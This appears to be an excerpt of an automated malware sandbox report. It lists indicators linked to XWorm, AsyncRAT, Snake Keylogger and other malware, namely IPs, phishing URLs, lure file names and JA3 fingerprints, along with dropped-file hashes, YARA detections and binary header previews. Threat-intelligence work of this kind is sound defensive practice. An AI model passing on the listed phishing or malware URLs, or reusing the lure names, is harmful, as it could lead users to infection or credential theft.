	Makrokdernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
147.185.221.20	real-al-d7ya.exe	Get hash	malicious	XWorm	Browse
	WindowsHealthProtect.exe	Get hash	malicious	XWorm	Browse
	Ym9RghQJbG.exe	Get hash	malicious	Njrat	Browse
	$77wsappx.exe	Get hash	malicious	SilverRat	Browse
	Nursultan Crack Minecraft 1.16.5.exe	Get hash	malicious	XWorm	Browse
	setup.exe	Get hash	malicious	Blank Grabber, Njrat, Umbral Stealer, XWorm	Browse
	Antilose 2.0.exe	Get hash	malicious	XWorm	Browse
	Realtek HD Audio Universal Service.exe	Get hash	malicious	AsyncRAT, XWorm	Browse
	dllhost.exe	Get hash	malicious	XWorm	Browse
	#U666e.#U901a.#U53d1.#U7968.#U52a9#U624b#U518c.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.telegram.org	Revised PI_2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	rVesselSchedule.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	bodrum_buro.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Proforma fatura.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	New order 01.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://choicesfdc.com.au/readm.html?colors=c2FyYS5nZWlnZXJAc2JhZmxhLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	rTransaction_ReceiptCopy.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Brnesde.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	NewOrder_LCL240887.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Makrokdernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SALSGIVERUS	python.exe	Get hash	malicious	XWorm	Browse	147.185.221.21
	setup.exe	Get hash	malicious	XWorm	Browse	147.185.221.21
	real-al-d7ya.exe	Get hash	malicious	XWorm	Browse	147.185.221.20
	Avowed Beta.exe	Get hash	malicious	XWorm	Browse	147.185.221.21
	nebula.exe	Get hash	malicious	XWorm	Browse	147.185.221.21
	WaveInstaller.exe	Get hash	malicious	XWorm	Browse	147.185.221.19
	PC driver.exe	Get hash	malicious	XWorm	Browse	147.185.221.19
	Server.exe	Get hash	malicious	Njrat	Browse	147.185.221.21
	hack fivem.exe	Get hash	malicious	Njrat	Browse	147.185.221.21
	WindowsHealthProtect.exe	Get hash	malicious	XWorm	Browse	147.185.221.20
TELEGRAMRU	Revised PI_2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	rVesselSchedule.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	bodrum_buro.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Proforma fatura.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	New order 01.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://b17.videoprivate-live.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://qzf1.haveplentymusic.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://choicesfdc.com.au/readm.html?colors=c2FyYS5nZWlnZXJAc2JhZmxhLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	http://www.nicetours.net	Get hash	malicious	Unknown	Browse	149.154.167.99
	rTransaction_ReceiptCopy.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
ANONYMIZEEpikNetworkCH	27062024_1338_ItsComedy.exe	Get hash	malicious	AsyncRAT	Browse	45.88.186.62
	https://campaign-statistics.com/link_click/RqeqbFIupG_SarXt/c7754e02779513a9011493d63e2dacdc	Get hash	malicious	AsyncRAT	Browse	45.88.186.168
	GfU2VYzM9r.elf	Get hash	malicious	Mirai	Browse	91.149.192.15
	Documento di richiesta di preventivo NR_531 28 05 24.exe	Get hash	malicious	FormBook	Browse	185.83.214.222
	SecuriteInfo.com.Heuristic.HEUR.AGEN.1309146.31110.1872.exe	Get hash	malicious	RedLine, XWorm	Browse	45.88.186.125
	ehQfAH429r.exe	Get hash	malicious	RedLine, XWorm	Browse	45.88.186.125
	6tJtH22I7a.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc	Browse	45.88.186.125
	t2SFfMxQP1.exe	Get hash	malicious	PureLog Stealer, RedLine, XWorm	Browse	45.88.186.125
	LFfjUMuUFU.exe	Get hash	malicious	AsyncRAT, PureLog Stealer, XWorm	Browse	45.88.186.125
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	91.149.192.120

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://shared.outlook.inky.com/link?domain=doni2.r.ag.d.sendibm3.com&t=h.eJwdj8tOwzAQAH-l8hl5Yztpkp56QjwEqBdKuSA_1onVjY0cB4QQ_07T80gzml-2ZGK7DRtL-Zx3AC7FIHnmeuCOzxhdMJPiNk0wncESeJhHePmx7193y20SeCj57RSOz-70-PQA5v7wUVWvNNJRsZsNO6_qiCXlwRch2-22FTDpEAtGHS3uR8yh6AG_dcE8B4fXVNcYIVXToOq80dhLbVqPlaxcjZ1DBaKVQtR133dcijWE1wckSnvr0SyB3MW3ylbqLjQuRH__e5FMBA.MEUCICPVdJ8A6eCIy5PEte1B5Fmj9jEJmTviOeNz1I2ChDF5AiEAq8t8ZLlriqRms2EdUTwM4-x3XuuMwf9TxieA_Ny75ng	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	149.154.167.220
	MCU1IoNwCn.js	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://www.canva.com/design/DAGLF3snAws/kgV8XMEaCHOJeaPJkLlFKQ/edit?utm_content=DAGLF3snAws&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	Unknown	Browse	149.154.167.220
	Revised PI_2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	https://ambassadorlimo.com/	Get hash	malicious	Unknown	Browse	149.154.167.220
	Docs Shipping PO#QSB-8927393_2324, QSB-8927394_23-24.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	https://email.app.bamboohr.com/c/eJyMkEFPwyAcxT8N3NrAn1L0wGFuLmFxGnXLzC4LUJpiB9SWLe7bm5kdPXh7yXvv8PvZFMIpequzT_HgGwlg7b3gpKgYdwWlri00qUXR1tRyECCEMdimMOh4ue6tbw5QUy4ItqcppyDdZUX2O96Z-Lbaz1WtPhWsN1u2nqtJheez-XjoTDz-0fHO7Lb-xauLWijfviK2QGyBG2krgZ2kAigFLkiNO8mYBm3rhld3wJkzQgjKK2oYMdw547D_FwqqiB6G0uhgUurG0qaAj7LLeZgQmyFYIlj2vh99_51KH9uEYDmMDo9Sx97nctA5elSRrzyl4_n3nuVs8354XM_UE84u6pivnm7ppuos4ScAAP__pKt0pQ=	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	1027852000XLS.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	XloyRIBlmdu28Vh.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	https://beededelva.za.com/secured/index.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Michael_Gorn_Resume.iso	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Michael_Gorn_Resume.docx.lnk	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\wjoqZlIS.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	5.345804351520589
Encrypted:	false
SSDEEP:	48:MOfHK5HKxHKdHK8THaAHKzecYHKh3oPtHo6nmHKtXooBHKoHzHZHxLHG1qHjHKd2:vq5qxqdqolqztYqh3oPtI6mq7qoT5RL9
MD5:	3D3B62B70DF65C6D62C6B068D7256706
SHA1:	03CCEE715BD3299367368426E025742C869155B0
SHA-256:	7373A8D46BC57A95D1C80A2FCD34FF0238B7A0981147FBEA9C28F32F46C653BB
SHA-512:	E259F86B1107BCBFA7F72AB3D199F13AF10644848398DD02D22012B626F353A9EE6865A16E5EA39A7657727D3DA6384F7EA424D8ADEA8F4162C106E90737D559
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\a3127677749631df61e96a8400ddcb87\System.Runtime.Serialization.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.7321271493407865
Encrypted:	false
SSDEEP:	24:1E44W4F1Ln5lDuUbwB7uh/+wB7tXadnW/6ZPo:TJ4rH87ub70
MD5:	3491AA8F2B3007257847EA899C9C7260
SHA1:	6151808DDE97AD86461FA3BA89FC3990602B3D9F
SHA-256:	36A3BA27CDCD023598DEF219E8268A227773C2AE2C72465B65F8949476F1C57B
SHA-512:	B27C0AA36B391ED7E54F96B35C079ACA833032201D7AB044480A8DD3D70DF635F1ABA564F35CCB15E2B296C2B1FBD4F8AFCE196FFB3409E449FE030BB0177BB0
Malicious:	false
Preview:	regf........b.Q.7.................. ...........y.b.3.d.8.b.b.w.e.\.S.e.t.t.i.n.g.s.\.s.e.t.t.i.n.g.s...d.a.t...y..j.....J.....y..j.....J.........z..j.....J.....rmtmf.V................................................................................................................................................................................................................................................................................................................................................~.d.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.7697346988458389
Encrypted:	false
SSDEEP:	24:6e44W4F1z9YM07n5lDuUbwB7uh/+wB7tXadnW/6ZPo:IJ4OTjH87ub70
MD5:	52036240BD70CE776C77A45563B888E2
SHA1:	B0C4609BF975DE8DEC5F67E176E033DAD8C131BC
SHA-256:	1CA0368283EE5E7B794D2A7F4155B349D73DB5942B41D75EE6383DAEEA1FAC6C
SHA-512:	02772CE9DC6B02EA86BCC9837612CA6E8B3709EDA2F9570B20D90F422F1364E013C4BFFCC41F2849B34FBCDCF1ED455F976E31C8ABC38925FE3C5B1381703970
Malicious:	false
Preview:	regf........b.Q.7.................. ...........y.b.3.d.8.b.b.w.e.\.S.e.t.t.i.n.g.s.\.s.e.t.t.i.n.g.s...d.a.t...y..j.....J.....y..j.....J.........z..j.....J.....rmtmf.V................................................................................................................................................................................................................................................................................................................................................y.d.HvLE....................L...w..J...0%.[.........hbin................b.Q.7..........nk,.T...7..................................x...............................Test....p...sk..h...h.......t.......H...X.............4.........?.......................?....................... ... ...............YQ..fr]%dc;.............vk......0...........VeryFirstLaunch.........V...................vk................y Mode....p...sk..x...x.......t.......H...X.............4.........?.......................

C:\Users\user\AppData\Local\Temp\YsrQekGS.exe

Download File

Process:	C:\Users\user\Desktop\Ekpb7jn7mf.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	42496
Entropy (8bit):	5.578448002075782
Encrypted:	false
SSDEEP:	768:OTOwtnrg5uKlP0Rl0GQvvdF3q9iR6TO+hiIMAz:OTOIMQKx077QvFF69iR6TO+QMz
MD5:	6EA393666ED89F758B30EA5037F5C22A
SHA1:	ECEEAE7BDEC94AD08B8E8F9ABF057474C602228B
SHA-256:	AF8318698C0BA525D71F5075BE304B4A096DD87A2F058854594C50C33F7CB387
SHA-512:	828D857ED80010E1DDE132098CED55AAB759FA0F4E99921AEE8DE75A946CBF4ECB41F20F0D16837E58C562EF7EB538A86729B8636E06E322C8C154029DECDD6E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[Kkf................................. ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........[...]............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dbfenx1s.x1v.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_egxa0rnu.b4r.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fefgjlzs.cge.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hz4ykdzn.hpp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i0njazfq.u2i.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r4j30btc.rgc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tmqoftrg.xrx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yqixtfub.nrs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe

Download File

Process:	C:\Users\user\Desktop\Ekpb7jn7mf.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27648
Entropy (8bit):	3.8743902487326958
Encrypted:	false
SSDEEP:	384:S3B2ChTCfxWqHPuOOLE8eWS0YWbiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiLih:a2CwxTmOv8zG
MD5:	DEAD69D07BC33B762ABD466FB6F53E11
SHA1:	F5ED372FD8EC7C455FF66BCE73F16CA51CBC0302
SHA-256:	3091E2ABFB55D05D6284B6C4B058B62C8C28AFC1D883B699E9A2B5482EC6FD51
SHA-512:	F33A402E96474FC10F870293058B7252517456B4053D85885EBF21D0F9166F9A8A86457327A3E307624864B30CA9888AE0399A90C6248C50B781B28D9981C0C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Michael_Gorn_Resume.iso, Detection: malicious, Browse Filename: Michael_Gorn_Resume.docx.lnk, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........~.h...h...h.......h...h...h.......h.......h.......h.......h.......h.....h.......h..Rich.h..................PE..d.....Y..........."..........b......0..........@.....................................j....`.......... ......................................d'.......P...G...@..................,....#..T............................ ...............!..@............................text............................... ..`.rdata..F.... ......................@..@.data...8....0......................@....pdata.......@....... ..............@..@.rsrc....G...P...H..."..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp331E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp332F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp333F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3350.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3361.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
